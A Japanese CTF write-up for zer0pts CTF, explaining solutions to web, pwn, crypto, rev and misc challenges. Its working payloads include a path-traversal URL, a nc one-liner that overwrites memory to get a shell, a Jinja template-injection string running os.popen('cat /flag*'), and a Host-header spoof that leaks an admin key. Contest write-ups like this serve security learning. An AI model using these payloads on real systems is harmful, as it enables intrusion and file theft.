11問、1201点、28位。
welcome (welcome)
Discord。
zer0pts{3nj0y_th3_CTF_t0_W1N!!!!}
survey (survey)
Google Forms。
zer0pts{4r1g4t0_f0r_pl4y1ng_zer0pts_CTF!}
GitFile Explorer (web, warmup)
Read
/flag.txton the server.
Gitのウェブサービスからファイルを持ってきて表示するアプリ。
:
if ($service) {
$url = craft_url($service, $owner, $repo, $branch, $file);
if (preg_match("/^http.+\/\/.*(github|gitlab|bitbucket)/m", $url) === 1) {
$result = file_get_contents($url);
}
}
:
ローカルファイルからは読み込めないようにちゃんとチェックされて……はいない。
https://raw.githubusercontent.com/ptr-yudai/ptrlib/master/README.md
を
https//raw.githubusercontent.com/ptr-yudai/ptrlib/master/../../../../../../../../flag.txt
にする。:を消せばローカルファイルパス扱いになるらしい。
zer0pts{foo/bar/../../../../../directory/traversal}
Anti-Fermat (crypto, warmup)
I invented Anti-Fermat Key Generation for RSA cipher since I'm scared of the Fermat's Factorization Method.
フェルマーの素因数分解法とは、 $N=pq$ で $p$ と $q$ が近いときに使える方法。小さな整数 $b$ を使って、 $N=pq=(a-b)(a+b)=a^2-b^2$ と表せるので、 $b$ を総当たりしながら、 $N-b^2$ が平方数かどうかを調べていく。
で、これを使えないようにするために、 $q$ は $p$ をビット反転させた値に近い素数にしている。つまり、小さな整数 $d$ を使って、 $q = 2^{1024}-1-p+d$ と表せる。やることはあまり変わらず、 $d$ を総当たりして、それぞれの $d$ に対して $p$ と $q$ を $O(\log n)$ くらいで求めれば良い。
n = 0x1ffc7dc6b9667b0dcd00d6ae92fb34ed0f3d84285364c73fbf6a572c9081931be0b0610464152de7e0468ca7452c738611656f1f9217a944e64ca2b3a89d889ffc06e6503cfec3ccb491e9b6176ec468687bf4763c6591f89e750bf1e4f9d6855752c19de4289d1a7cea33b077bdcda3c84f6f3762dc9d96d2853f94cc688b3c9d8e67386a147524a2b23b1092f0be1aa286f2aa13aafba62604435acbaa79f4e53dea93ae8a22655287f4d2fa95269877991c57da6fdeeb3d46270cd69b6bfa537bfd14c926cf39b94d0f06228313d21ec6be2311f526e6515069dbb1b06fe3cf1f62c0962da2bc98fa4808c201e4efe7a252f9f823e710d6ad2fb974949751
c = 0x60160bfed79384048d0d46b807322e65c037fa90fac9fd08b512a3931b6dca2a745443a9b90de2fa47aaf8a250287e34563e6b1a6761dc0ccb99cb9d67ae1c9f49699651eafb71a74b097fc0def77cf287010f1e7bd614dccfb411cdccbb84c60830e515c05481769bd95e656d839337d430db66abcd3a869c6348616b78d06eb903f8abd121c851696bd4cb2a1a40a07eea17c4e33c6a1beafb79d881d595472ab6ce3c61d6d62c4ef6fa8903149435c844a3fab9286d212da72b2548f087e37105f4657d5a946afd12b1822ceb99c3b407bb40e21163c1466d116d67c16a2a3a79e5cc9d1f6a1054d6be6731e3cd19abbd9e9b23309f87bfe51a822410a62
from Crypto.Util.number import *
d = 1
while True:
l = 1<<1023
r = 1<<1024
while r-l>1:
m = (l+r)//2
q = (1<<1024)-1-m+d
if m*q<n:
r = m
else:
l = m
if n%l==0:
break
d += 2
p = l
q = (1<<1024)-1-m+d
assert p*q==n
flag = pow(c, inverse(65537, (p-1)*(q-1)), n)
flag = long_to_bytes(flag).decode()
print(flag)
「$p$ も $q$ も奇数だから差分 $d$ は偶数だよね」で1ハマり。ビット反転させているから差分は奇数。
$ python3 solve.py
Good job! Here is the flag:
+-----------------------------------------------------------+
| zer0pts{F3rm4t,y0ur_m3th0d_n0_l0ng3r_w0rks.y0u_4r3_f1r3d} |
+-----------------------------------------------------------+
zer0pts{F3rm4t,y0ur_m3th0d_n0_l0ng3r_w0rks.y0u_4r3_f1r3d}
Modern Rome (pwn, warmup)
$ nc pwn1.ctf.zer0pts.com 9000
ind: IIIIIII
val: MCCXXXIIII
buf[7] = 1234
#include <string>
#include <iostream>
short buf[10];
void win() {
std::system("/bin/sh");
}
short readroman(){
short res = 0;
std::string s;
std::cin >> s;
auto it = s.crbegin();
int b = 1;
for (auto c: "IXCM") {
int cnt = 0;
while (cnt < 9 && it != s.crend() && *it == c) {
it++;
cnt++;
}
res += b * cnt;
b *= 10;
}
return res;
}
int main() {
std::setbuf(stdin, NULL);
std::setbuf(stdout, NULL);
std::cout << "ind: ";
int ind = readroman();
std::cout << "val: ";
int val = readroman();
std::cout << "buf[" << ind << "] = " << val << std::endl;
buf[ind] = val;
std::exit(0);
}
ローマ数字（ただしVやLは無いし、Vの左にIを書いたら減算ルールも無い）で添え字と値を指定して書き込める。
exitのGOTを書き換えて、winに飛ばせば良いのかな？ 簡単。さすがwarmup……と思ったけど、GOTはbufより下位にあるし、buf以降に書き換えるものが何も無い……。
答えはここ。
for (auto c: "IXCM") {
文字列リテラル"IXCM"は{'I', 'X', 'C', 'M', '\0'}である。つまり、\0が10,000となって、9,999までではなく、99,999までの数を表せる。short型なのでオーバーフローで負にもできる。
$ printf '\0\0\0\0\0\0MMMMMCXXXXXXIIII\nMMMMCCCCCCCCXXXXXIIII\ncat flag*\n' | nc pwn1.ctf.zer0pts.com 9000
ind: val: buf[-372] = 4854
zer0pts{R0me_w1ll_3x1st_a5_1on9_4s_th3_Col1s3um_d0es}
(printf '...'; cat) | nc ... だと上手く行かない。なぜなのだろう。
zer0pts{R0me_w1ll_3x1st_a5_1on9_4s_th3_Col1s3um_d0es}
service (rev, warmup)
Windowsのexe。
Ghidraで見ても良くわからないし、フラグからして何かやっているっぽいが……x64dbgで動かして、入力待ちになったときに一時停止、入力して、関数を戻っていったらチェック処理に行けた。2文字ずつSHA-256を計算している。
hash = [
"33129567e0bd787efb15a26307e5311e06ba66e3b8dbc2206ad59f99780a4d78",
"dd191696e15e2ee293410d02454c5f9461a2249dee6d57c75f264eaeb83a3782",
"e75b11da693d7bb5273985dcf9f02729455da7e7c80e54a0615e00ec2ae76d8e",
"04249e0c258e1a4e43cfdae291a835cd15735f650bbbba0465ada1cd9846622a",
"e4223ed20d7ea5740a326e2b268ca6db91d041cf5194f577e393a8ba3b85d8e9",
"8b53639f152c8fc6ef30802fde462ba0be9cf085f7580dc69efd72e002abbb35",
"0117834bf60dcf977229bf1e982cf9bc63b60ef42052f7ce7e800ce1216a9af6",
"741d14df730e53a5a019a710116f696db4ec23a132b74cf6fbb3cf7617e68313",
"e30e580a4c2916bcff30ca047f2d6a494168ceaf8fb9171037a773a9f8e7268e",
"294763754a8efd4c739d9f679bfca3ab510106f42ddb5dc0216ba8bc98ba3158",
"46c9e22099ee4bfe54a99a3cdbaf69f17f7c6e2581b92f7bab25128fd2100b7a",
"68dbf73d03d3a5107edad3b05676eee240e68c280296e52b6986873c54cef3cb",
"c1818d580d8c8bc111302f4a5e6903ef2d32b11a5613efba507693de8060fb8c",
"44ad63f60af0f6db6fdde6d5186ef78176367df261fa06be3079b6c80c8adba4",
"46c9e22099ee4bfe54a99a3cdbaf69f17f7c6e2581b92f7bab25128fd2100b7a",
"5e07d6fdc602b0f9b99f6ea24c39e65835992faac400264c52449bc409cf4efa",
"e4dcd6d313af71559596d3009c12d025301842d8c7f888c2850333e91a9bda68",
"fffdff4b07a9d973fd1c3a6be443851bc13e82c4af94c88325244694e352aa31",
"3fffd018d2223020be85670d93f565b63df54a9ce3ed2cdf6347a61df016938c",
"b2941852282562cc3d813e8bf1705d0480a7a008ffa2475501d7c5161165a7fb",
"635ca73d00d4f28b5f573b16eea56e9e4579d77e561c32aa68189d9769fa1753",
"a4d0ef23161b5b7c6a8d5b287543fd74e16b3bf313d71aa187c24cdd728a7b1e",
"e0b9a8799f32453a478c9122f8b83cee68e16db18f493ac81bc1d474594b5df4",
"564999cbbfea80170ba068dcf961d9914625f3be951b2c1fe163bae0f8156c24",
"4a44dc15364204a80fe80e9039455cc1608281820fe2b24f1e5233ade6af1dd5",
"e91787068a3c60e9712a7abeb6a67f518a40723c1b89c11d6070fe5f9389ebf9",
"7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6",
"96a296d224f285c67bee93c30f8a309157f0daa35dc5b87e410b78630a09cfc7",
"96a296d224f285c67bee93c30f8a309157f0daa35dc5b87e410b78630a09cfc7",
"96a296d224f285c67bee93c30f8a309157f0daa35dc5b87e410b78630a09cfc7",
"96a296d224f285c67bee93c30f8a309157f0daa35dc5b87e410b78630a09cfc7",
"96a296d224f285c67bee93c30f8a309157f0daa35dc5b87e410b78630a09cfc7",
]
import hashlib
import itertools
def dec(h):
for l in range(8):
for p in itertools.product(range(256), repeat=l):
if hashlib.sha256(bytes(p)).hexdigest()==h:
return bytes(p)
flag = b""
for h in hash:
flag += dec(h)
print(flag.decode())
zer0pts{m0d1fy1ng_PE_1mp0rts_1s_4n_34sy_0bfusc4t10n}
miniblog++ (web)
ブログサービス。
Jinjaを使った記事が投稿できる。ただし、投稿時に危険な文字列が無いかチェックされる。記事のエクスポート機能とインポート機能がある。インポート時にはチェックが無い。エクスポートはファイルをZIPで固めて、非公開の鍵でAES CFB暗号化。
CFBなんて珍しいものを使っているし、エクスポートした記事を改竄してテンプレートインジェクションをしろということだと思うが、ZIPか……。
ところで、投稿時のテンプレートのチェックはこれ。
:
if '{%' in content:
return 'The pattern "{%" is forbidden', None
for brace in re.findall(r"{{.*?}}", content):
if not re.match(r"{{!?[a-zA-Z0-9_]+}}", brace):
return 'You can only use "{{title}}", "{{author}}", and "{{date}}"', None
:
「{{...}}の中は英数字だけ」というチェックに見えるけど、英数字のみが!?で否定されて、notで否定されて、つまり英数字のみだったらif文の中に入るようになっていて、おかしい。正規表現での否定は?!。「{{...}}の中は英数字のみ、ただし先頭に!があっても良い」というコードになっている。これを使うのかと思ったけど、!を使っても何もできないな。
.はデフォルトでは改行にマッチしないから、
{{
request.application.__globals__.__builtins__.__import__('os').popen('cat /flag*').read()
}}
だけで良かった。
zer0pts{You_obtained_a_Bachelor_of_ZIP}
MathHash (misc)
import struct
import math
import signal
import os
def MathHash(m):
hashval = 0
for i in range(len(m)-7):
c = struct.unpack('<Q', m[i:i+8])[0]
t = math.tan(c * math.pi / (1<<64))
hashval ^= struct.unpack('<Q', struct.pack('<d', t))[0]
return hashval
if __name__ == '__main__':
FLAG = os.getenv('FLAG', 'zer0pts<sample_flag>').encode()
assert FLAG.startswith(b'zer0pts')
signal.alarm(1800)
try:
while True:
key = bytes.fromhex(input("Key: "))
assert len(FLAG) >= len(key)
flag = FLAG
for i, c in enumerate(key):
flag = flag[:i] + bytes([(flag[i] + key[i]) % 0x100]) + flag[i+1:]
h = MathHash(flag)
print("Hash: " + hex(h))
except:
exit(0)
こちらが入力した値をバイトごとにフラグに加算し、8バイトごとに区切って64ビット整数と解釈してtanを通し、倍精度浮動小数点数のバイト列を64ビット整数と解釈して、xorがハッシュ値。ややこしい。
tanの入力の値が大きく変われば出力も大きく変わるはず。keyの値を1ずつ減らしていくと、keyの値がflagの値より小さくなったときに負のオーバーフローが起こって大きく変わる。
xorで差分を取って浮動小数点数として解釈し、値が大きいものを優先、ただし値が負になったら最優先として、各場所ごとに並べてみるとこう。
from pwn import *
import struct
key = "zer0pts{"+"\0"*16+"}"
key = list(key.encode())
def query(key):
s.sendlineafter(b"Key: ", bytes(key).hex().encode())
s.recvuntil(b"Hash: 0x")
d = s.recvline()[:-1].decode()
d = "0"*(16-len(d))+d
return struct.unpack("<Q", bytes.fromhex(d))[0]
for i in range(25):
#for i in range(7, 8):
s = remote("misc.ctf.zer0pts.com", 10001)
#s = process("python3 server2.py", shell=True)
p = None
V = []
for j in range(0x1f, 0x7f):
c = query([0]*i+[255-j])
if p is not None:
d = struct.unpack(">d", struct.pack("<Q", c^p))[0]
if d<0:
d = 1e1000
V += [(d, chr(j))]
p = c
V.sort()
print(i, "".join(v[1] for v in V[::-1]))
s.close()
0 ~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#"!
1 e_CSk3w'g7[Gd;s{WK/#~}|zyxvutrqponmljihfcba`^]\ZYXVUTRQPONMLJIHFEDBA@?>=<:98654210.-,+*)(&%$"!
2 r8uX(iH@0Pa} q<4eT\Dym$L,oV"gkRcZ&>:J.^62*{wsNFBpM+vEzIC)`tKG-%xnO51!|flW=#[9jbSA'h~d]YUQ?;73/_
3 I0i,Yy8$Q@aqM4<( meu}E]UgokSOB>:&"KW{2w6_s.*[cGx3V^-t|7Zb1\`X5~rF/+zvNn%fdJ#h'lCT=Rp?;P9LAH)j!D
4 Mp,m=]zUre5$EA9YviQ( I~1aW[_;?*.CGK"t|3k&xogcO7SRds{'lJ4h#wFN8}bjL%62PuH)!ny-DZ<>/:`+\XTqVBf@^0
5 Bt!bR2swj):ZJ{nV%6->FNf^@H'4#<D+phly}\`XTdPL08uQaYM]UeKW_~1[cS(GO,;ixqC=o*AkEv$&z975."?m3 |gI/r
6 s=bxO+4"kFX]/Ju'pf8TA{Hdi})_6QnzC$ ?-V[:M2tw,oWP7@yvh9eUNB>\q|~K^0m*5Yj3ac<REIG.(%!#ZrS&;1LDl`g
7 {|zqUx};gv+^Glwsy2Mr@b%iYn~u`(.m6JQC>te#\Wkph04$jEH?BoL8)OS,f<X'acZ]_V"I[d*A&=:7KDFPN1-/T3R59!
8 srt}iMpv3xn_#?Vdq{kuwo*EZj8Qfaym|lX I&e.BO;]6zT`~hc,7g=b:@(G1DK!%4[^UWYRPNS)A\5/9<"2>C'$-FH+JL0
9 120;'W.3qE6,@eN"-)9/5z^(lJS$>C47+:b#v~[GiL8n*PUD<A!&? gMjm`d%B=|s]xYOKpTHFQVRIo}krfa\cwhZ_u{yXt
10 gfq]dAi'{Slbeh2_IvXcnkN,Z9mEsxUj`p^}w/Tr"=G6PL)o8aC[VYuyDW( zt$\47;?.1~+KM|RFOBH<*#J3Q5-0%:@>!&
11 nomxdHkp.Zsi}lQ9j_fvre@%3LUq\a{twh`=)!Dg61XuSJNy|~[^cT2]B5zb8+;'#F?Y/PVMRKIO(<"W740* -:E>CA$&G,
12 +,*5!Q(-?k0&{:)_H'#3/tX"fD8<.41%M\Up$x2Ahc~FJO9;6 >Gdag@Z^=7SWvry}IjNBEPKiLCue`qY|wbzsVl[oTRn]m
13 |{rVy~<hwz}G,t^mxc&AoN3ZjusDi7/RK)ea>v$X\pknYP*=-59qlTIL1@]F%C'[dg`b"W_.8#f?(+B0MJEU:HOQ462;! S
14 342=)Y06sG.8BgP$1+;57/|aLnU*&@!E9-<dN,x%]IkpR:WCF#>(A o'?ib"f_u[z~QrHMOlKVTX{SJq\cmjwhtey^`Z}vD
15 xwnuRz8d}svyCp(Zit|"_=k/J~Vf{qoT+r@e3N%XG]a: lgjh9E&-1m5)PHL?B\!<#c`W^SYU;M4[b$>FI'DA6K*.0Q2O,7
16 pqozfJms0\ku <Sanxhrtl'WBg5Nc}^vjyUi#b?+F8LZ3wQe]`{~)%|4:_=7d.ADH!1T[RVXOMKPY>62/E,@9;$"CG*(&I-
17 ^_]hT8[`JrcYm*A{OZVf\b#0EUw<QLkoadXgCW-P4e&!tHy}>:nNiSlKqzM"%R+pj6/2;I|=B@suF(9Dx?~v,G$ 3.'1)75
18 |}{rVy~<hw,G_mxtzNs3ZAc&jovn)K/R7D>$u\faXlpib%@PCkFqI915T-gM`d*'WY^[]eSQ" #=06+BEJ(?8;H.2LO!U:4
19 fgep\@ci&RzakuI2Wdn^hjb8M+D]sYTxl`o_K<5X!B.|P)mGvyVSq[t*Z0r-3wU7$:>H'{NQ~JLCEAF4O(}6"%1,/? #;9=
20 rsq|hLot2^wmp"U=ncjzviD)7PYu`ex{ldA%-H:5\yWNRk}_gb6XaF9~f</?+'JC]# 3QTZVOM,S&![@;84.$1>IBEG(*K0
21 453>*Z16t H9/ChQ%0,<28}a+oMV'"AE7:.=e&y^J;lq-SOXG?D$)B!m#jPpgcF(@v`{\RTNsWKIYULrnukzif_dbx~][|w
22 cbmY`=e#wOh^ad.[ETr_jgJ(V5iA{otQfl\Z?ys]+Pn9%C2H~LkWRquU$0Sv Xp37;*-z'xNKG}ID>B@8|FM&1)/,6!4:<"
23 ./-8$T+0Bn3)=~b,K*&62%w[hGO1!?;4(_ s{qXe'DkRI5M><A79#CydJgE@jV]:pua"m|HNLQZPFSlizc`^f}rUxW\vtoY
24 }|sWz=ix{~H-u_nyd'BpO4[kvtEj80S*L]fb?w%YqloQZm+>r.26:JMUDG&A(\heca^$X`@9#/Ig)CNF;P37TR"!,K 15V<
先頭のほうを見ると、既知であるzer0pts{がそれなりに前に来ている。後半のほうも気合いで読めないかな……厳しいな……と思ったら後半は先頭に来ているのがそのまま正解だった。前半も後半も扱いとしては等価だと思うのだけど、なぜ前半がダメで後半が上手くいっているのだろう。
「変な記号が入っているしこれは違うだろうな」と思いながら投稿したら正解だった。なるほど、IEEE 754の構造か。符合、指数、仮数とそれに応じた記号。
zer0pts{s1gn+|3xp^|fr4c.}
Disco Party (web)
記事を投稿して、その記事を管理者に通報できる。それを管理者が閲覧する良くあるXSS問……かと思ったが、管理者は記事の閲覧なんてしない。通報されたURLを秘密のDiscordチャンネルに投稿するだけ。通報されたURLは後ろに記事IDに応じた管理者用のkeyが付加される。これがあると記事の削除ができ、ついでにフラグ見られる。
投稿されたURLがサービスのURLかどうかのチェックが甘い。
:
# Check URL
parsed = urllib.parse.urlparse(url.split('?', 1)[0])
if len(parsed.query) != 0:
return flask.jsonify({"result": "NG", "message": "Query string is not allowed"})
if f'{parsed.scheme}://{parsed.netloc}/' != flask.request.url_root:
return flask.jsonify({"result": "NG", "message": "Invalid host"})
:
flask.request.url_rootはHTTPのHostから取っているようなので、攻撃者が改竄できる。これをサービスのURLではなく自分のサーバーのホスト名にしてしまえば良い。
curlでリクエストを送れば良いかと思ったけど、Google reCAPTCHAが付いているのがやっかい。適当にリクエストを送ってもボット扱いされてしまう。/etc/hostsを書き換えて、ブラウザで自分の管理するドメインでサービスを表示してみたが、Google reCAPTCHAがそこをチェックしていた。
Burp Suiteでリクエストを書き換えた。昔はブラウザのプロキシの設定とか書き換える必要があって面倒だったけど、今は「Open browser」で諸々設定されたBurp自前のChromiumが立ち上がるようになっていた。便利。
で、書き換えてもInvalid hostで弾かれる。Hostを書き換えても報告するURLを書き換えてもエラーになり、両方書き換えてもエラーになるとは？ 
自宅のIPアドレスを指すように、安かった国際化ドメイン名を使っているのだが、片方は国際化ドメインが解釈されて日本語になり、もう片方が xn--... のままだった。なるほど。
そこを何とかして待ち受けているとkeyのついたリクエストが飛んできて、投稿にそのkeyを付けてアクセスするとフラグが表示される。
zer0pts{4h_p4rad1s3_l05t_6b4f6fbf5ee51003}
CurveCrypto (crypto)
楕円曲線上の秘密の点 $G$ を作り、 $G.x, G.y, (2G).x, (2G).y, (4G).x, (4G).y, \dots$ とフラグをxorすることで暗号化している。与えられるのは法 $n$ と楕円曲線のパラメタ $a$, $b$ と暗号化後の数列。
え、無理では？ $G$ がどんな値であっても、フラグを変えれば暗号化の結果を好きにできる。ワンタイムパッド暗号みたいなものでしょ？ と意味が分からなかったけど、よくよく見てみると、楕円曲線は1024ビットで、それにxorしているフラグは128ビットずつ。暗号化後の数列はほぼ $G, 2G, 4G, \dots$で、そこに足し引きして楕円曲線の式を成り立たせる小さな値を求めろという問題になる。
格子。最近ちょうど勉強した。
n = 144119247523820514307319742558945817289524321678464785828165262389987364282241677120346992289602773032781170623185859522408681068717004227361637296377314973988883717763449514502353544535632434189976809320943402560377421207936239458384129077990667822889168041784489265932700188699685494064706711885776064499497
a = 83982245487363010227377287615815704138676734572052340268107937333404040064487258387610318909300475704005267406361509228314981566916144028418544919408625857597243933586742790305821574823017061268314657578742703998273111267249007415214833152992932175602495617018238154444547422725699672732735594492967242602718
b = 102854241650706614574910858961148621902783569513613650939938174283440416794379436560775021794677794290971284767314108620894847399989166711219489947662922391647064573171363714323032220660223765035347554282052095512011142748460282601639626032525448005114625186640435086840602281790716023653081557628791656792754
c = [105112301098281496097034027523577403453326764144228787624401074405541577932642530851395484380691290162552636478481380927941044566041120344238783491322553291628678134801814105484196704974017218455216419335693731277825573231392222665423245586612395848380318111988284920983149197374154699808776545479724047776709, 119931822446994265076022490333904239240145849067899601686086810952135061724293475540637951596476598377673280140779509869539582077226280886787012312965074972316057414014195571814522208145587153069696640304889800585974357119323578638404957302760851214606619517664508954712497284900223656294050022339709410514520, 77449803463514047535477961978015960018035778347793833401263588747978475501148536780819549296447786417024775899457091074251167349568353877838782428368954481576827862607179873977973077737374411980559467128298050283927229354740670622117284854556777626729609958202274963553796799701913426256413699327094959918436, 19881898638980767541769585302774976337079209934548061143259050559139791898245439933411471322660256972236103364955342341822881304403603105610433373205174678091884754857958259183427619764249723943787639988589593508171175819610469625589807019978156747244656206732357606116993349990555417285468500357366492529137]
# (y+dy)^2 = (x+dx)^3 + a*(x+dx) + b (mod n)
# y^2 + 2*y*dy + dy^2 = x^3 + 3*x^2*dx + 3*x*dx^2 + dx^3 + a*x + a*dx + b (mod n)
# dx^3 + 3*x*dx^2 + (3*x^2+a)*dx - dy^2 - 2*y*dy + x^3 + a*x + b - y^2 + kn = 0
for i in range(0, len(c), 2):
x = c[i]
y = c[i+1]
M = [
[1, 0, 0, 0, 0, 0, 1 * 2^1024],
[0, 2^128, 0, 0, 0, 0, 3*x * 2^1024],
[0, 0, 2^256, 0, 0, 0, (3*x^2+a) * 2^1024],
[0, 0, 0, 2^128, 0, 0, -1 * 2^1024],
[0, 0, 0, 0, 2^256, 0, -2*y * 2^1024],
[0, 0, 0, 0, 0, 2^1024, (x^3 + a*x + b - y^2) * 2^1024],
[0, 0, 0, 0, 0, 0, n * 2^1024],
]
M = Matrix(M).LLL()
dx = M[-1][2]//2^256
print(int((x+dx)^^x).to_bytes(16, "big"))
print(int((x-dx)^^x).to_bytes(16, "big"))
dy = M[-1][4]//2^256
print(int((y+dy)^^y).to_bytes(16, "big"))
print(int((y-dy)^^y).to_bytes(16, "big"))
格子では2乗や3乗は扱えないが、2乗や3乗してもまだ小さいので、独立した値と考えれば良い。
>docker run --rm -it -v %CD%:/host sagemath/sagemath sage /host/solve.sage
b'zer0pts{th3_g00d'
b'%\xdb\xdeP\x10,\xd5\x88\x9c\xb8\x11*\xa1\x10P,'
b'_3ncrypti0n_c0m3'
b'\xf5\x11\xa3\xa6\x96\xc8\x93\xdc?\x10\xa3\xf2\xa1\x10\xa7\x1d'
b's_fr0m_th3_g00d_'
b'\x91\xa9#\xd6\xd0\x1a\xc9\xd3\x98Q\xe1\xad\x10P<\xe9'
b'curv3}\n\n\n\n\n\n\n\n\n\n'
b'%\xac\xd6\x12\xd5#}\xf6\x1e\x16>\x1e\x06\x06\xf6\x16'
zer0pts{th3_g00d_3ncrypti0n_c0m3s_fr0m_th3_g00d_curv3}
EDDH (crypto)
楕円曲線ディフィー・ヘルマン鍵共有で楕円曲線の代わりに、Twisted Edwards curveというものを使っている。
:
def main():
signal.alarm(300)
flag = os.environ.get("FLAG", "0nepoint{frog_pyokopyoko_3_pyokopyoko}")
assert len(flag) < 2*8*n
while len(flag) % 16 != 0:
flag += "\0"
G = (gx, gy)
s = randrange(0, q)
print("sG = {}".format(mul(s, G)))
tG = ast.literal_eval(input("tG = ")) # you should input something like (x, y)
assert len(tG) == 2
assert type(tG[0]) == int and type(tG[1]) == int
share = to_bytes(mul(s, tG))
while True:
msg = recv(share)
if msg == b"flag":
aes = AES.new(key=sha256(long_to_bytes(s)).digest(), mode=AES.MODE_ECB)
send(aes.encrypt(flag.encode()), share)
elif msg == b"quit":
quit()
else:
send(msg, share)
if __name__ == '__main__':
main()
$s$ を楕円曲線とか全く関係無くAES暗号の鍵として使い、フラグを暗号化して送ってくる。$s$ を求めるしかない。考えることが減ってありがたい。
Degenerate Curve Attacks
Extending Invalid Curve Attacks to Edwards Curves and Other Models
楕円曲線上の点を渡されたときに、その点が本当に楕円曲線に乗っているかをチェックしていないと、攻撃されるらしい。こちらが渡す $tG$ はチェックされていないな。
$tG=(0, 2)$ を渡すと、$stG = (0, 2^s)$ になるので、離散対数問題に落ちると。この問題の暗号化は、$(stG).x$ と $(stG).y$ をバイト列にして連結したものとのxorなので、$x$ が $0$ だとちょっと楽。試しに $p-1$ を素因数分解してみると大きな素因数が無い。想定解法っぽい。
>c:\program1\msieve\msieve153.exe -v 64141017538026690847507665744072764126523219720088055136531450296140542176326
Msieve v. 1.53 (SVN 1005)
Sun Mar 20 15:54:00 2022
random seeds: d83e4310 bc1b6441
factoring 64141017538026690847507665744072764126523219720088055136531450296140542176326 (77 digits)
searching for 15-digit factors
P-1 stage 1 factor found
P+1 stage 2 factor found
ECM stage 2 factor found
ECM stage 2 factor found
p1 factor: 2
p8 factor: 91877347
p10 factor: 4983572093
p10 factor: 5393248331
p10 factor: 5871788141
p10 factor: 5984431231
p10 factor: 7036447529
p10 factor: 7114396253
p10 factor: 7382806369
elapsed time 00:00:00
$ nc crypto.ctf.zer0pts.com 10929
sG = (1692336573468715126888074567323682931858772240208522412483912956455444206956, 11867748146311483568343881091644963764440852386935978826386386188857826557850)
tG = (0, 2)
6100
6100ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa6c62a4785c923fa83c9fca2ae04fccb73b642c44afdcb855b914814e4882dbb
666c616700
1979db350aa5ed885f43b415584678d321fddc50ee3ce9df5612da87c08850112aef5c503e921e62cccf0f727dd9af818cb642c44afdcb855b914814e4882dbb
7175697400
それぞれa、flag、quitを送っている。あとは手元でゆっくり計算。
from pwn import *
p = 64141017538026690847507665744072764126523219720088055136531450296140542176327
F = [2, 91877347, 4983572093, 5393248331, 5871788141, 5984431231, 7036447529, 7114396253, 7382806369]
t = 1
for f in F:
t *= f
assert t==p-1
# Baby-step giant-step
# return x s.t. y=g^x mod p
def log(g, y, p):
r = 100000
M = {}
t = 1
for i in range(r):
if t not in M:
M[t] = i
t = t*g%p
inv = pow(g, -r, p)
t = y
for i in range(r):
if t in M:
return i*r+M[t]
t = t*inv%p
return -1
def extgcd(a, b):
if b==0:
return 1, 0, a
else:
x, y, g = extgcd(b, a%b)
return y, x-a//b*y, g
def CRT(A, M):
sa = 0
sm = 1
for a, m in zip(A, M):
x, y, g = extgcd(m, sm)
assert (a-sa)%g==0
sa = (sa*x*m+a*y*sm)//g
sm *= m//g
return sa%sm, sm
reta = bytes.fromhex("6100ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa6c62a4785c923fa83c9fca2ae04fccb73b642c44afdcb855b914814e4882dbb")
retflag = bytes.fromhex("1979db350aa5ed885f43b415584678d321fddc50ee3ce9df5612da87c08850112aef5c503e921e62cccf0f727dd9af818cb642c44afdcb855b914814e4882dbb")
y = int.from_bytes(reta[32:64], "big") ^ (2**256-1)
print(f"{y=}")
A = [log(pow(2, (p-1)//f, p), pow(y, (p-1)//f, p), p) for f in F]
s, _ = CRT(A, F)
assert pow(2, s, p)==y
print(f"{s=}")
retflag = list(retflag)
for i in range(32, 64):
retflag[i] ^= reta[i]^0xff
retflag = bytes(retflag)
for i in range(64)[::-1]:
if retflag[i]==0:
retflag = retflag[:i]
break
from Crypto.Cipher import AES
from hashlib import sha256
from Crypto.Util.number import long_to_bytes
aes = AES.new(key=sha256(long_to_bytes(s)).digest(), mode=AES.MODE_ECB)
flag = aes.decrypt(retflag).decode()
print(f"{flag=}")
$ python3 solve.py
y=40358028852075797073705247334056838980747465225197908437935301507579851035204
s=28296663120848283156321922051372789511186769233939709445027644707722707128530
flag='zer0pts{edwards_what_the_hell_is_this}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
Pohlig–Hellman algorithmとBaby-step giant-stepを使っている。
zer0pts{edwards_what_the_hell_is_this}
0AV (misc)
解けなかった。
fanotifyでファイルアクセスを見張って、フラグの接頭辞であるzer0ptsがファイルの先頭にあったらアンチウイルスソフトのようにファイルを削除する。
/ しか見張っていなくてtmpfsの /tmp などはスルーなので、適当にmountしたら読めないかなと思ったけど、（当然）root権限が必要で諦めた。unshareって関数を使うとmountできるらしい。
あとは、PATH_MAXを超えるような深いディレクトリを作ると、チェッカーがファイルのパスを取得できなくて解けるらしい。それもちょっと考えて試したけど、シェルからだと作れなかったんだよな……。
問題で指定されているところに繋いだらシェルが出てきたからといって、コマンドだけで何とかしようとするのではなく、プログラムを書くことが必要か。
readflag (misc)
解けなかった。
これも繋ぐとシェルが出てくる。問題のプログラムは、プログラム中にフラグを持っていて /dev/urandom とxorして出力。ファイルのパーミッションが ---s--x--x で実行はできるけど読めない。
「strace って読み込んだバイト列も出力するよね？」と思って、圧縮してBase64エンコードして送り込んでみたけど、ファイルに読み込み権限が無いときにはアドレスしか表示してくれない。余計なことを……。
これも自分でプログラムを書いてptraceとかで頑張れば解けるらしい。straceが無理だからそういうのも無理だと思っていた……。
次にこういう問題を見たら、プログラムを書くことを考えよう。
miniblog# (web)
解けなかった。
miniblog++の脆弱性が潰されて、今度こそZIPを何とかしろという問題。
ZIPのコメント機能を使っているのだけど、ここは圧縮されていないし、ここを細工すると別のZIPにできる（！？）らしい。ZIPの圧縮と戦いながら改竄する必要が無い。言われてみれば、コメントなんて変な機能を使っているのだから、それを活用するか。なぜか全く思い至らなかった。
Disco Festival (web)
解けなかった。
今度はガチでDiscordに貼られた秘密のURLをリークするっぽい。作問者が解説を書くと言っているので楽しみ。